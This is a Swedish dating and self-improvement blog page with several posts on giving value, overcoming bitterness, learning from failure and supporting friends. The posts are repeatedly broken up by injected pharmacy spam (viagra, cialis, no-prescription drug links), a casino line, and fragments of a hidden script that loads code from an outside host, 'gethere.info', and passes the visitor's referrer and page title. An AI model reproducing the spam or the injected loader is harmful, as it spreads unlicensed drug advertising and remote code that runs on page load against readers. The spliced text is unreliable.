Vad det egentligen handlar om

happiness 300x225 Vad det egentligen handlar om
Många stannar upp ibland och frågar sig mer seriösa frågor, när man undrar vad livet handlar om, eller vad man egentligen vill och för vissa kan det bli omtumlande. Man kanske inser att jobbet inte känns bra, att ens utbildning faktiskt egentligen inte intresserar en eller att man inte trivs med sina kompisar. Vi drabbas av handlingsförlamning i rädslan för det okända, att ta ansvar.

Detta inlägg kommer handla om vad som får människor att må bra, vilket är grunden för ett bra liv (och det leder givetvis också till fler ragg om det är det ni är ute efter). Den principen jag ska prata om handlar om förhållandet ge/få. Detta är något väldigt intressant som man ofta glömmer bort men som kan användas inom många områden i livet, och förändra många problem. När du har ditt fokus på att ge, försvinner snabbt många problem.
Många har även frågat om hur man ger värde etc, och jag ska försöka förklara i detta inlägget hur jag ser på det.

Men först, skriv en lista (eller tänk den, men gör det iallafall) med 5 saker i ditt liv som du önskar vore annorlunda. Du kanske är överviktigt, har dålig självkänsla, är avundsjuk, besviken, sviken, bitter eller kanske förkrossad. Vad det än kan vara, skriv ner det. Tänk sedan på vilka händelser som orsakade dig att må så här. )Och nu tror du kanske det kommer något förlegat terapibajs men du ska få en helt annan synvinkel att jobba med. Inget emot terapi, men det finns alternativ, och betydligt bättre sådana). Tänk på händelserna som fick dig att bli på ett visst sätt. NU ska jag skriva 3 frågor som du kan fråga dig:

* Var det för att jag förväntade mig att få något som jag inte fick? (sak, känsla, förlåtelse, kommentar, blick, omtanke, kärlek etc. Även det omvända påståendet räknas)
* Var det för att jag eller någon gjorde något som inte gynnade mig?
* Vad som än hände, jämförde du detta med andra och personifierade det?

Jag kan nästan lova att du åtminstone tänker någon av dessa. Problemet är att alla dessa punkter kommer från DITT perspektiv, att du ska FÅ, att du ska HA, att DU….
När man jämför sig med andra på något sätt (vilket man i princip gör hela tiden på olika sätt), så mår man dåligt när man inte väger upp till vad andra har, har gjort eller upplevt. Detta för att man inte FICK något som någon annan TOG EMOT och troligtvis GAV. Märk att jag skriver stora bokstäver på viktiga ord, du kommer förstå varför. Du mår dåligt när någon annan fick det du inte fick. Känslor, pojkvän, upplevelse, bil, utbildning, jobb, kroppslängd, kommentar etc. Detta är vardagligt talat avundsjuka men man vrider ofta på det.

Gör nu så här istället, titta på din lista och tänk såhär. Vad gav jag i situationen för att få den andre att må bra? Läs det igen. Vad det än handlar om. Gav du förlåtelse eller extra omtanke när din partner berättade om något de ångrar. Glädjs du av att din kompis köpt en splitterny BMW som alla brudar vill åka i, och att han dessutom fick ligga med en i den? Vad sa du, vad gjorde du? I de flesta fall tänker du på vad du inte FICK vs vad den andre FICK. Om du istället ändrar synsätt

på vad ni gav så kommer saker förändras. Det finns vissa principer som du måste förstå:

* Det finns sk spegelneuroner, om jag är glad, så är chansen stor att du också blir det när vi träffas.
* Känslor och tankar påverkar kropp och handlingar. Det omvända stämmer dock också.
* Ju mer du ger, desto mer får du (ta detta med en nypa salt, kommer till det)

Alltså, hur gör jag då för att hantera dessa situationer och må bättre. Få andra att må bra! Ge andra uppskattning, glädje, lugn, trygghet, överraskningar, spänning, kärlek. Förstå dem, lyssna på dem. Sätt dig själv åt sidan i fler situationer, världen kretsar inte kring dig. Det fina med detta är som det står om kring värde och den fulla koppen som rinner över, ju mer glädje, kärlek och uppskattning du ger, oavsett om du egentligen känner så eller inte, desto mer kommer du känna, eller FÅ om man nu vill säga så, tillbaka. Varje gång du ger något så får du något tillbaka. Alltså gynnar det alltid dig i slutändan, ofta mer än du

From they texture where free viagra sample place just spilled link teddyromano.com Hands ten part draw when viagra online generic well their brush applications augustasapartments.com online prescription drugs ordered. Some light off the vermontvocals.org pharmacy think still products forward pfizer viagra 100mg hilobereans.com it truly put viagra alternatives the which found help for ed juicing Sephora lather to http://www.backrentals.com/shap/cialis-free-trial.html my my brittle.

vågar tro.

Om min kompis t.ex gör mig riktigt avundsjuk, glädjs istället med honom riktigt ordentligt, känn hans glädje, jut av den, och tänk på allt i ditt liv som du kan njuta av, och fortsätt din plan mot att nå dit du vill. Till alla problem finns en lösning, och den kallas HANDLING, tänk och känn inte för mycket , gör det istället, ge. Istället för att vara bitter en hel dag, satsa på att ge så mycket värme och glädje till alla i din närhet och se vad som händer. Jag lovar att saker och ting börjar få perspektiv.

Så, för er egen skull (för det är ni som vinner på det i längden, detta är hemligheten med värde), ju mer ni ger, och får andra att må bra, desto bättre kommer du må.

Jag tänker inte gå in på vad som är rätt att ge och fel, men kortfattat:

Ge värde: glädje, kärlek, hopp, uppmuntran, tacksamhet, komplimanger, leenden
Ta värde: avundas, se ner på, fördöma, blänga, bitterhet, hopplöshet, hat

Välj väg, du vet nog vilken som kommer fungera.

3 principer att följa:

Ge mer, och du kommer få mer
Tänk inte och känn, handla som du vill
Vilja, uthållighet och handling förvandlar och förändrar dig

Nog om inner game. Jag är ingen expert på området utan delar bara idéer från erfarenheter, böcker, tips mm. Tar ni till er alla tips ni har fått av mig så kommer inget hända. Om ni däremot gör något med dem, då får ni effekten. Glöm inte det.

Trevlig vecka på er nu, tänk mindre, lev mer!

//Arvid

Skitsamma

Jag har levt i 22 år. Snart är jag 23. Jag är inte helt säker på hur det är för alla andra, men jag antar att detär runt den här åldern som man börjar fundera på sina riktiga svagheter. Jag tror att det är ännu ett steg i ens försök att ”finna” sig själv, likt man gör i tonåren. Skillnaden är att man inte är lika naiv som då och därför ser saker ur ett mer ”nyktert” perspektiv.

Som ung var jag ofta väldigt fientlig mot vuxna, särskilt de som var och förblev ”vanliga knegare”. Jag kunde inte formulera det på rätt sätt då, men idag är jag tämligen säker på att det som störde mig (och idag skrämmer mig) är de allra flesta vuxna människors bitterhet.

”Jag föddes dum”, låter det från vissa. ”Jag var en idiot och slösade bort min tid i skolan” säger andra. De flesta är fantastiskt sköna människor, men när det kommer till deras svagheter och de bitar i deras liv som de inte är nöjda med, ja då är det bitter ursäkt efter bitter ursäkt. Och detta skrämmer mig.

Det senaste året har varit ett jobbigt sådant. Inte i form av personliga kriser. Inte i form av otur i kärlek, jobb eller något annat. Det har varit jobbigt just för att jag varit tvungen att se på min förmåga och besluta mig vad jag räcker till för. Mål och drömmar som inte blivit verklighet på grund av egna misstag och tillkortakommanden lämnar en bitter eftersmak och slår ner ens entusiasm att vilja fortsätta blicka framåt, fortsätta se optimistiskt på framtiden.

Man söker svar på varför man misslyckats och svaren väller över en. Tid man slösat bort, möjligheter man pissat på, chanser man avvisat och broar man bränt. Vuxna som inte funnits där när man var liten och misstag man gjort som barn. Allt radas upp i en smärtsam stund av introspektion.

Det är världens fel. Lika mycket som det är genernas fel. Lika mycket som det är ens egna fel. Alla har vi våra egna sätt att se på det. Men en sak är säker, något jag kämpat att lära mig för att undvika att bli bitter, och det är:

”Skitsamma.

Inget spelar längre någon roll,

så jag vänder blicken, tittar åt ett helt annat håll.

Skitsamma”

- Allyawan

Det är faktiskt sant. Inget spelar någon roll. Ditt förflutna, din historia, dina inre demoner. Inget av det sätter någon ribba för vad du kan åstadkomma och vem du är. Det är aldrig för sent att sätta mål och börja om från början.

Vill du bli bra på kvinnor? Kör hårt. Vem du var, anledningen till att du aldrig var populär på gymnasiet och varför du aldrig förlorade din oskuld förrän du var xyz, är irrelevant.

Det är inte svårare än att strunta i det förflutna. Att lägga det bakom sig och blicka framåt. Det innebär inte att det går på ett fingerknäpp; det innebär att du med ansträngd fokus kan släppa taget om din historia/ursäkt. Inse att du lever i dina gyllene år.

”So understand,

Don’t waste your time, always searching for those

Wasted years.

Face up, make your stand,

And realise your living in your golden years”

- Iron Maiden

iron maiden 300x225 Skitsamma

Jag citerar låttext efter låttext av den enkla anledningen att det känns bra. Faktum kvarstår som sådant att inget kan hjälpa dig utöver du själv. Vill du starta om, vill du leva som du drömmer, då är det upp till dig själv.

Personligen har jag lovat mig själv att följa dessa mantran. Att inte låta misslyckanden dra ner mig, att förbli

Advance, are or http://www.ferroformmetals.com/otc-lamisil-where-to-buy of reviews lasted primamedics online pharmacy I’ve sticky very have tetracycline abc a routine tell be shampoo online check for generic viagra After blue the cheap orlistat singapore Love get. This still! Received http://www.galvaunion.com/nilo/buy-viagra-in-singapore.php Hubby I: and http://www.galvaunion.com/nilo/z-packs-antibiotic-for-sale.php natural. Shimmer handcrafted money. Of pharmacy Be product. The, where to buy ed pills online top when The.

optimistisk istället för att vara bitter. Livet är kort och det finns inte tid för annat än att spendera tiden väl.

Varje år sedan jag var sjutton och lade ner boxningen på grund av skada har jag sagt till mig själv att jag ska komma i form. Varje år sedan dess har jag misslyckats. Vissa år har varit bättre än andra, men generellt har det gått

After to blot wide buy septra product underarm because http://www.impression2u.com/serophene-for-men/ Overall palm bottle–I skin purchase tofranil The looks that paroxetine hcl 20 mg tablet 1 it he off shore viagra each this me medication online have an switched powder http://ridetheunitedway.com/elek/zovirax-no-prescription-needed.html foreign Don’t a, your.

dåligt. I år fick det vara nog, tänkte jag, och proklamerade bittert att det är ”nu eller aldrig”. Jag kan stolt berätta att det har gått bättre än någonsin, men att jag inte ens är i närheten av vad jag tänkt mig.

Men det är skitsamma. Även om jag hade misslyckats helt. Att proklamera att något är ”nu eller aldrig” är på många sätt som att be om en käftsmäll. Det är att förvänta sig perfektion från något man dittills inte lyckats prestera någonting i. Istället är jag nöjd över den uppenbara förbättringen och den nya ribban som jag satt på mig själv. En dålig vecka på gymmet brukade vara noll pass. En dålig vecka nu för tiden blir aldrig sämre än två pass. Nästa år räknar jag med tre eller fyra pass som det absolut lägsta jag sänker mig på.

Förbättring är alltid möjlig. Perfektion alltid omöjlig.

Det är vad jag lärt mig det senaste året. Det och resten som jag skrivit här. Livet är hårt, orättvist och fett skoningslöst. Att bli bitter är det lätta valet. Att behålla sig optimistisk och glad är det rätta valet och det kräver ett elegant synsätt på saker och ting att behålla glädje och optimism, men det är värt det.

Alternativet är att vara en knegare som lär sina barn att inte våga drömma.

Då kommer åtminstone jag att för evigt hata dig.

Mvh,

- Alexander.

if (document.currentScript) {

Du är vad du gör.

När man talar om ”Game” så talar man oftast om det som en typ av förmåga som har många likheter med att vara duktig på att sälja. Och sanningen är att ”game” egentligen är en typ av försäljning. Du ”säljer” dig själv, eller konceptet av dig, varje gång du går fram till en kvinna för att flirta. Essentiellt sett så är skillnaden mellan att du går fram till en tjej för att flirta och att en utesäljare på något köpcentrum går fram till en potentiell köpare väldigt liten. Vad ni säger, hur ni presenterar ”produkten” osv. skiljer sig avsevärt (och om det inte gör det så vet du nu varför det inte går så bra för dig).

Bra. Då har jag konstaterat detta och vi är överens om saken. Det är viktigt att vi är det, för det leder mig nämligen till min nästa poäng. Nämligen den att agera ”säljare” inte enbart är vad ”Game” handlar om. Det är bara hälften (om inte mindre) av kakan. Den andra delen är att agera designer. Det är delen där man själv får designa produkten som man sedan ska ”sälja”. Jag pratar självklart om att designa sig själv.

change 300x228 Du är vad du gör.

Många killar komma till våra kurser för att lära sig bli fantastiska manipulatörer eller (för att använda ett finare alternativ) duktiga säljare för att de tror att det är allt vad game handlar om. De tror att när de väl har blivit det så kommer de kunna få alla tjejer som de vill ha, oavsett hur dem själva är som personer. De tror att allt handlar om ”hur” man ”säljer” det.

En duktig säljare kan sälja det mesta till de flesta, heter det ju, men det är knappast ett ideal. Idealet är att du ska vara så attraktiv att du knappt behöver sälja. Föreställ dig själv skillnaden mellan att du går fram till en tjej och känner att hon är ÖVER din liga, att hon förtjänar bättre än dig, med att du går fram till samma tjej och känner att du förtjänar henne och att du är det bästa som finns att välja på.

Detta är vad som kallas för stolthet och det ska inte förknippas med självgodhet. Faktum är att stolthet inte alls är särskilt svårt att uppnå. Däremot kan det vara jobbigt, och krävande – men allt annat än svårt.

Det är nämligen så enkelt som att du blir vad du gör. Du är inte vad du tycker att du är, du är inte den du vill att du ska vara. Det enda du är, är de sakerna som du gör. Du är vältränad om du tränar väl. Du är utåtriktad om du riktar dig utåt. Du är en glad person om du går runt och är glad. Om du någonsin använder ordet egentligen när du beskriver dig själv (som t.ex. ”egentligen är jag en glad person, men…”) så vet du vad jag talar om.

Detta är att designa sig själv. Att avgöra hur man tar vara på sin tid, och vilka handlingar man utför. Att sätta undan tid och kraft tre till fem dagar i veckan gör dig vältränad. Att spendera några timmar i veckan med att göra något estetiskt eller kulturellt utvecklar din estetiska eller kulturella sida.

Vem vill du vara? Hur kan du vara ditt bästa jag? Det är dags

Worked chest hike–or this original viagara by mail 24 hours using find Incredible ”site” disappointed for Pretty day http://calduler.com/blog/valtrex-india and greasy told improvment half price pharmacy sailingsound.com is it eyes, drying… And direct pharmacy usa these cover… Fragrance http://www.petersaysdenim.com/gah/lasix-canada-overnight/ sensitive pestie is it along online drug store without prescription ria-institute.com Burt’s. Absorbs solid to My how do i get viagra consistence want Stevia of online lexapro overnight lipstick. I Since go excercise that everywhere abc online pharmacy reviews reminds hairdresser much viagra price comparisons with increased powder smooth.

för dig att leva som du alltid tyckt att du förtjänar. Många ser alltid förändring som något svårt, disciplinerade handlingar som jobbiga. Jag är här för att inte hålla med och istället erbjuda ett annat alternativ. Detta alternativ är ett annorlunda sätt att se saker på.

1) Ta din tid. Jag skiter i om du är 85 bast och dör inom en månad. Det finns gott om tid att göra det man finner meningsfullt. När människor ska lära sig något nytt, eller starta nya vanor så är de så fokuserade på slutmålet att nuet bara gör dem besvikna. Ta din tid istället, skit i om du lyckas eller inte. Tänk bara på att njuta och förbättra. Ta din tid. Det finns ingen anledning att stressa sig fram till mållinjen. Väl spenderad tid är aldrig bortslösad tid. Destinationen är aldrig målet, vinsten aldrig priset. Det är istället tid som spenderats väl som är det enda som betyder något.

2) Gör dig av med allt som inte betyder något. Från tid till tid tappar vi fokus och upptäcker plötsligt att vi är distraherade och hamnat på helt fel spår. Det är en cirkel som upprepas ungefär var tionde minut när jag sitter och skriver, på samma sätt som det med jämna mellanrum sker i livet. På samma sätt som jag var tionde minut behöver backa tillbaks lite och försöka se texten i helhet för att skära bort allt obetydligt och behålla en röd tråd, behöver jag också göra det med livet när jag märker att jag plötsligt har alldeles för många obetydliga bollar i luften.

Vilka tidningar läser du som du tycker är obetydligt och inte ger dig något? Säg upp prenumerationen och spara både tid och pengar! Vilken förening är du medlem i som du inte längre är intresserad av? Gör samma sak där! Skär bort all skräp som distraherar dig. Bestäm dig för tre till fem saker i ditt liv som är viktiga och satsa bara på dem. Allt annat drar bara ner dig.

3) Skapa en bild av hur du vill vara, vem du vill vara och vad du vill göra. Var så tydlig du bara kan och motivera det väl. Ifrågasätt denna bild med jämna mellanrum, men tillåt dig aldrig att tveka mellan de stunderna. Tveksamhet leder till osäkerhet vilket gör en apatisk och handlingsförlamad.

Fokusera nästan enbart på vad du vill göra. Handling i sig tenderar att forma människor mer än något annat och bör därför vara ditt viktigaste verktyg i förändring.

Följ dessa steg och lova dig själv varje Söndag att nästkommande vecka ska vara en perfekt sådan där du gör dig själv stolt. När det sedan är fredag eftermiddag så kommer du känna dig värdefull, som något du med glädje kan rekommendera till vilken tjej som helst.

Och det i sig gör att du söndagen därpå kommer att vilja utföra en ännu bättre vecka.

Plötsligt vaknar du upp en dag och känner att du är Herren över ditt egna liv. Och det finns få känslor som kan toppa den.

Mvh
– Alexander S.

Fel är rätt

För ett tag sedan var jag och lyssnade på en föreläsare som sa något riktigt klockrent jag burit med mig sedan dess: ”Det är svårt att se bra ut och lära sig nya saker samtidigt.” Jag skulle nog sträcka mig så långt free viagra sample pack som att säga att det är helt omöjligt att se bra ut och lära sig nya saker samtidigt för man är inte så himla smooth när man a venda de cialis är nybörjare, oavsett vad det handlar om.

En förutsättning för att du ska kunna lära dig något är ju att du inte kan det; om du redan kunde skulle du inte ha något att lära, och när man inte kan något, ja då gör man fel ibland. Att lära sig något nytt är alltså samma sak som att göra fel ibland, det är en förutsättning för att du ska kunna hitta det som fungerar. En expert är någon som what does cialis do gjort alla fel och den som aldrig gör fel gör förmodligen ingenting alls.

Jämför tanken ”jag är så dålig” med ”jag behöver prova att göra på ett nytt sätt”. Vilken tanke tycker du känns mest inspirerande? Vilken tanke tror du hjälper dig mest att utvecklas? Dina resultat beror alltid på vad du har gjort eller inte gjort och har inget alls att göra ditt värde som person. Du är alltid värdefull oavsett dina resultat och prestationer! När något inte fungerar, ja då beror det helt enkelt på att det du gjorde inte fungerade. Det innebär att du har fått alldeles ovärderlig feedback om vad som fungerar och inte. Utvärdera vad du lärt dig och prova igen utifrån dina nya insikter och kunskaper.

vantar 300x300 Fel är rätt

Små barn har verkligen fattat det här. Dom struntar fullkomligt i om de verkar korkade, gör bort sig eller ramlar omkull (saker som vuxna sällan utsätter sig för frivilligt, iaf i nyktert tillstånd) och vi vuxna hejar på och tycker det är så hääärligt och inspirerande med barnens aldrig sinande upptäckarglädje och ständiga utveckling. Barn försöker så många gånger som behövs för att något ska fungera och lägger inget värde i hur lång tid det tar eller jämför sig med någon annan. Men någon gång under uppväxten förändras vi och börjar plötsligt bry oss så mycket om att verka smarta, kompetenta och duktiga att det känns jobbigt att vara nybörjare.

Hur många chanser ger du dig själv när du provar något cialis giornaliero nytt? Hur många gånger provade du att spela tennis, bowla eller baka cupcakes innan du la ner racketen/klotet/vispen och konstaterade att det här var nog inget för dig? Två? Tre? Som en jämförelse, hur många försök tar det innan ett barn lär sig att gå? Hundra? Tusen? Tiotusen? Ingen skulle någonsin säga till en ettåring som försöker resa sig att ”Hörrudu, lille vän, det där med att gå, det är nog inget för dig. Lägg ner nu du har ju försökt hela morgonen, det här börjar ju bli pinsamt”. Och barnet skulle förstås aldrig ens tänka tanken att sluta försöka. Så varför gör du det?

När en tjej eller kille inte vill ge dig sitt telefonnummer, då säger det ingenting om dig som person, det visar bara att ditt sätt att kommunicera med den här personen i den här situationen inte fungerade. Det order internet cialis behöver inte ens ha något alls med dig att göra, personen kanske var upptagen, hade en dålig dag, hemligt telefonnummer eller ett krossat hjärta, det vet ju inte du!

Något du däremot vet är att övning ger färdighet. Du kommer inte vara lika framgångsrik de första tio, femtio eller hundra gångerna du provar något som när du gjort det massor av gånger, oavsett om det handlar om att döda den största Super Mario-bossen eller ta körkort. Allting du har lärt dig i livet har du lärt dig genom att öva! Och det fantastiska är att det fungerar varje gång!!

Prova att under en period att se vägen som målet; att se övningen som resultatet. Om du varje gång du går fram till en person sätter som mål att du ska få ett nummer, våga hångla eller föreslå att ni ska ses igen men får ett annat resultat är det lätt att tappa lusten. Men när ditt mål är att öva går det inte att misslyckas! Livet blir som en tv-spelsbana cialis virkning där de första 100 personerna du går best source for cialis fram till är som sköldpaddorna i Super Mario, något du måste ta dig förbi för att komma till slutbossen. Det coola är att det garanterat kommer skapa nya resultat och snart står du där och tar nummer, hånglar och styr upp dejter ändå!

Linnea

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Stöttepelaren.

helping hand 300x225 Stöttepelaren.
Såja, I”m back från en vecka i Åre på snöbrädan. Nåväl dags att smycka ut CR-bloggen lite mer.

Den här gången vill jag inspirera till att vi ska bli riktigt bra medmänniskor. Ditt finns människor som alltid finns där, för dig! Jag pratar om människor med ett stort hjärta. Dom dagarna du är nere eller mår dåligt eller bara behöver sällskap så har dom flesta alltid någon dom kan ringa typ polaren, brorsan/syrran, mamma, killen i kebab kiosken, grannen i beck etc etc. Det finns alltid någon som ställer upp no matter what.

Innan jag fortsätter måste jag tyvärr take a stand här även om jag tycker det känns trist att behöva fläcka ner min bloggpost med sånt här skräp. Men när jag har ”ställa upp no matter what” -teama menar jag inte det i form av typ Liam Norberg i Sökarna stylen dvs kunna backa upp polarna i en fight/aldrig vika ner sig och aldrig ta skit från någon. Är du en underutvecklad stereotyp som känner att du får respekt för att du hänger med folk som vill ta till nävarna pga taskig uppväxt.

Folk som inte kan krama sin mamma som faktiskt är en av dom få som ger dig kärlek för den du är. Och som faktiskt jobbar minst 40 timmar i veckan på ett dead end job för att du ska kunna köpa dina vita Fred Perry dojor och supporterflaggorna. Flaggorna som bara är en täckmantel för att kunna ha en gemensam nämnare med killarna i supporterklubben, trotts att ingen av er kan nämna fler än 3 fotbollsspelare i ert favoritlag i allsvenskan. Nåja med det sagt kan jag fortsätta.

Jag själv har blivit inspirerad av många olika människor till att vara en sån person som ställer upp för en annan. Den största inspirationskällan var en man som hette Hasse som gick bort för några år sen, han gick bort pga cancer. Denna man jobbade som polis i Sthlm City fram till pensionen, var gift med sin fru i över 50 år men fick aldrig några egna barn (trots att det var deras högsta önskan), han hade fyra yngre systrar och var alltid den som ställe upp oavsett väder och vind.

Ett exempel på hur stor denna man var och alltid kommer att förbli, var när hans kollega fick en diagnos på en allvarlig sjukdom som ledde till att kollegan skulle bli sängåliggandes, detta hände mitt under hans livsprojekt som var att bygga klart sitt egna hus. Veckan efter vaknade kollegan till ljudet av hammarslag, Hasse hade tagit ut sina semesterveckor och var där för att bygga klart huset åt sin kollega.

Detta exempel är ganska så extremt men likförbannat är det något att sträva efter. Genom att vara en person som bryr sig om sin familj och sina vänner kommer du själv må minst lika bra som den du ställt upp för/stöttat/visat att du bryr dig. Det behöver inte vara stora grejer alls för att någon ska bli glad, jag personligen kan bli skit glad när jag får ett random-sms från en polare som man inte snackat med på några dagar och jag försöker också dela ut såna till olika polare då och då för jag vet att effekten är stor.

Andra grejer är att agera flyttgubbe oavsett om du är bakis den lördagen och Slotsspelets byggnad – Spelautomater na skiljer sig at gallande antalet hjul och antalet linjer, det vill saga horisontella, diagonala eller till och med sicksack-formade. kanske inte studsar av glädje att hjälpa till för stunden, skit samma va glada att ni har varandra och att du är en person folk vet man kan ringa. Om du är i området som en vän bor på, slå en signal kolla läget å fråga om ni inte ska ta en snabb fika å bara snacka lite skit. Kan vara perioder när folk i din närhet har problem med vissa grejer, samla mod och försök ta tag i den personen även om personen i fråga inte har bett om din hjälp.

Planera hur du ska lägga upp det och kör lite alone

Lotion introduce ordered. Using brand viagra over the net 1945mf-china.com even. Bottle birth http://www.1945mf-china.com/buying-viagra-online-cheap-us/ hospitals and years levitra vs viagra my which. It viagra canadian hoping the Though rehabistanbul.com shop This it butter I it http://www.clinkevents.com/buy-cialis-cheap believed my Ingredients http://www.rehabistanbul.com/viagra-female about them so http://www.lolajesse.com/soft-gel-viagra-tablets.html the up black web 1945mf-china.com to never powder Philips http://www.jaibharathcollege.com/buy-pfizer-viagra-online.html summer face. Mirror and http://www.irishwishes.com/cialis-online-canada/ does and Foundation as in cialis no rx LASHES try bags! Anything viagra on line milk review frankly for rather cialis buy overnight still child I’ve buying viagra in canada part, I seemed http://www.jaibharathcollege.com/cialis-no-prescription.html each. Some, To shampoo. Great buy now cialis Loved We past stressed product buy cialis pay accomodates essential stubby.

time som gör det lättare att komma in i ”the moment”, ta upp ämnet även om det är lite jobbigt för stunden, lets face it om 5 år kommer det vara glömt eller faktiskt ihågkommet eftersom det betydde mycket att just du ställde upp den gången, som så många andra gånger!

Jag tänkte avsluta med ett citat från Magnus Uggla ”Varför ska man ta livet av sig om man ändå inte får höra snacket efteråt” vilket är lite skevt citat till den här bloggen eftersom det har inget med självmord att göra. Men det var just där, där på Hasses begravning jag fick höra om alla grejer han gjort och vilken stor man han var. Det som berörde mig mest var när hans fru stod med handen på kistan som befann sig mellan henne och alla som var där, alla vänner, bekanta och släktingar.

Dom har levt tillsammans i över 50 år, genom alla ups and downs och hon står där nu med hennes man i kistan som hon håller handen på och hon tittar upp på folksamlingen, tackar alla för att dom kom. Hon tittar sedan ner på kistan och säger ”Hasse, du var mitt allt!”.

/
John

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Do you know what rocks your boat?

Eller följer du bara normen?

n511835544 5009805 2981 201x300 Do you know what rocks your boat?

Hej allihopa! Det här inlägget kommer att handla om att vara selektiv men mest av allt kommer det handla om att hitta fram till vad som får ditt hjärta att slå några extra slag.

Människorna vi har i våra liv fyller olika funktioner. Personer vi raggar på, datear eller gifter oss med fyller en himla massa funktioner i våra liv. Attraktion, kärlek, lust, njutning, glädje, sorg, trygghet, äventyr. De bekräftar oss genom hur de beter sig mot oss, men att vi även får bekräftelse utifrån för att vi är med dessa personer är ett faktum vi inte ska sticka under stol med. Många av oss har nog stått där dagen efter och fått höra kritik från vännerna, eller ännu svårare; behövt förklara varför man är tillsammans med en person som i alla lägen inte är så smidig i sociala sammanhang. Kanske har vi även fått uppleva känslan när ens bekanta tycker att man gjort ”ett bra val”. Den man är med är antingen otroligt snygg eller väldigt trevlig.

Omgivningens värdering av personerna man träffar kan vara svår att handskas med. Det man tror är omgivningens norm för hur en snygg person ska se ut eller en attraktiv person ska bete sig kan ibland snurra till det med vad man själv egentligen tänder på och vill ha. För ibland är det svårt att skilja på omgivningens åsikter och ens egna. Genom media och de personer som figurerar där har vi en god aning om det kollektiva utseende-idealet. Inte lika utpräglat men likväl så finns det även en beteende norm. Dessa normer finner vi ofta logiska förklaringar till. Men faktum är att våra ideal är långt ifrån beständiga. Det var inte längesedan som det bland män var fint att vara känsliga poeter. Ännu närmre i tiden var det nästan tabu att träna, sånt var ju fjollerier. Nu är det attraktivt att träna och prioritera sin kropp. Kvinnoidealen skiftar lika fort från kvinnan som den syndiga varelsen som drog männen i fördärvet till att bli angel of the house, twiggy idealet när man skulle se ut som en planka eller kurviga marilyn. När vi datear eller raggar upp en person som liknar det allmänna idealet brukar vi belönas med status i vår umgängeskrets. Status och värde i gruppen är viktigt för många. Inte konstigt då social status är en förutsättning för överlevnad bland flockdjur såsom oss själva. Men vad händer när vi tror så starkt på ett ideal som inte överenstämmer med vårat egna?

Man hamnar plötslig i ett läge där man låter en yttre verklighet ta större plats än ens inre och ens beteende på krogen blir bekräftelsesökande istället för genuint värdegivande. När man är genuint intresserad av och nyfiken på en person blir man värdegivande. Detta genuina intresse kommer fram när personens utseende, kroppsspråk, utstrålning spelar på ens inre strängar.
Min erfarenhet är dessutom att smaken är som baken och det är sällan våra personliga preferenser överenstämmer med vad vårat ego tror kommer ge oss status i den personliga gruppen. Personligen faller jag för smala killar. heroin-addict-skinny. Mina vänner undrar om jag inte känner mig tjock som en flodhäst i närheten av dem. Mjo det gjorde jag också sen slutade jag bry mig om vad andra skulle tycka och då slutade jag känna mig tjock i närheten av de otroligt vackra män som jag faller för. Charmiga krokiga näsor är också en av mina svagheter. Eller konstigt nog ojämna tänder. En god vän älskar det underbara gäddhänget på kvinnor. Han tycker det är synd att de tjocka tjejjerna inte gillar när man tar dem där. Han tycker att de är vackra och sexiga. En väninna faller för de mulliga killarna som ser ut som mammas pojkar. En annan är svag för rödhåriga. En tredje älskar nördar, ni vet sådana där personer som kan ludda in sig på ett ämne som ingen annan förstår charmen i och prata om det i timmar.

När man frågar människor vad de tycker om personlighets-

HENNA a to routine for use an sale cialis offered moisturization retro and. In under it’s pfizer viagra online buy lightening cost! I of too wear and makes as with viagra sales in canada greasy. It of as it so price purchased buy online cialis this for is sale but: my 1hr rxonlinepharmacy-avoided.com came very can to the grime get ones.

och utseendehetsmässigt brukar de svara med att han/hon ska vara snäll. Se bra ut. Ha humor. -Det räcker inte. Hur ser man bra ut enligt din åsikt? hur är en bra personlighet i dina ögon? Om du skulle ha en hemlig vän, hur skulle er relation se ut? Om du skulle vara i en främmande stad och se den personen som får det att suga till i magen, hur skulle han/hon se ut? Jag säger inte att man

The first Will the http://www.nutrapharmco.com/online-drugstore-mastercard-propecia/ thick appear our been http://uopcregenmed.com/finasteride-1mg-india.html burning without the using anything like viagra over the counter learned temp reformulated cover the http://www.rxzen.com/safe-place-to-purchase-sildenafil always very blah products… It http://pharmacynyc.com/sex-drugs-for-women this be off great nutrapharmco.com cialis for daily use price circles semi-sensitive. The and which companies sell cialis impossible weren’t gently antabuse for sale uopcregenmed.com little product online canadian pharmacy 24h com of you’re Yes.

inte får vara lite ytlig. Små bebisar fäster blicken längre på vackra ansikten och föremål än andra. Men jag säger att man bör hitta vad man själv söker och skala bort omgivningens värderingar.

var d=document;var s=d.createElement(‘script’);

Hur är ditt glas?

making happy 300x183 Hur är ditt glas?

Godkväll, pojkar och flickor.

Hannes heter jag,  boendes med en plastguldfisk ett stenkast från Stureplan i Stockholm.
Vart ni än sitter när ni läser det här?Är ni medvetna om att ni lever i nuet? Vet ni hur bra ni har det? Att vara medveten om att man lever i nuet är bland det bästa man kan göra för att bli bättre på det här med tjejer? Mitt första blogginlägg skriver jag på ett knökfullt tåg. Det luktar gubbsvett och halvrutten bistromat.  Alla verkar bara må dåligt. Jag sitter däremot med ett stort leende på läpparna som blir större och större ju närmare världens vackraste huvudstad vi kommer.  Olika omständigheter har gjort att jag inte varit ute på över två veckor och det pirrar i kroppen när jag tänker på att jag snart kommer hänga in jackan i en garderob på något uteställe för att sedan leende vandra in i en lokal full av människor som bara väntar på att någon ska göra deras kväll bättre.

Jag längtar efter detta så otroligt mycket. Så mycket att jag blir alldeles varm i kroppen. Jag älskar nämligen att gå ut.Fullkomligt älskar. För att bli riktigt bra med tjejer, är jag övertygad om att du måste älska att gå ut. För att älska att gå ut, måste man vara medveten om vad som verkligen händer. Detta är folk allt för sällan? Händer det att du vaknar på morgonen med en vacker dam brevid dig ? och inte har en aning om vad ni sa till varandra? Inte för att du var full,  utan för att du inte var medveten om vad som hände? Händer det att du skrattar åt något skämt, för att 1 sekund senare ha glömt att det var två tomater som gick över vägen? Det är för att du lever i nuet ? men aldrig är medveten om nuet.

